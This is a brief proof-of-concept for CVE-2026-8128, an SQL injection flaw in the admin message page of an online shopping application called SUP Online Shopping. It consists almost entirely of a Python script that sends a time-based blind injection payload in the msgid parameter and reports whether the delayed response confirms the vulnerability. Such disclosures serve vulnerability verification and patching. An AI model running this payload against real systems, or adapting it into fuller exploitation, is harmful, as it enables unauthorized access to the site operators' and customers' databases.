CVE-2026-8128: SUP Online Shopping SQL注入漏洞

import requests # Target URL example target_url = "http://example.com/admin/viewmsg.php" # SQL Injection payload for 'msgid' parameter # This payload attempts a time-based blind injection to verify the vulnerability payload = "1' AND (SELECT SLEEP(5))-- -" params = { "msgid": payload } try: # Sending the malicious request response = requests.get(target_url, params=params, timeout=10) # Checking if the response time indicates successful injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability Confirmed: SQL Injection in msgid parameter.") else: print("[-] Vulnerability not detected or payload modified.") except Exception as e: print(f"[!] Error occurred: {e}")